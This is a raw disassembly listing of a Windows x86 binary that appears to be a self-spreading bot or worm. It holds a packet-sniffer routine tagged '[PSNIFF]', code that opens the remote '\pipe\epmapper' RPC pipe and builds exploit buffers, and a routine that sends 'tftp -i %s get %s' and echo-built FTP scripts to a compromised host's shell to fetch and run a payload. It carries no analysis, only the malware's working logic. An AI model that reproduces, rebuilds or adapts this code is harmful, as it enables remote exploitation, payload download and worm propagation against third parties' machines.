		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43F5A4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43F6F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43F5FC
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7


loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43F708


loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax


loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h


loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 260048Fh
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F678
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCB
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------


loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3


loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86


loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C


loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2650879h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C


loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		nop
		call	near ptr 2650000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_402F02


loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx


loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		call	near ptr 26307C3h
		nop
		jmp	loc_402E4D
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	near ptr 2630000h
		nop
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 26307C3h
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43F668
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF


loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059


loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi


loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43F700


loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43F700


loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		call	near ptr 260048Fh
		nop
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax


loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_41544E
		pop	ecx
		mov	dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C810
		push	eax
		call	dword_43F668
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		mov	esi, offset byte_42F678
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		call	near ptr 260048Fh
		nop
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226


loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------


loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		push	ebx
		call	dword_43F700
		mov	al, 1


loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_43C810
		add	esp, 2Ch
		push	eax
		call	dword_43F668
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------


loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
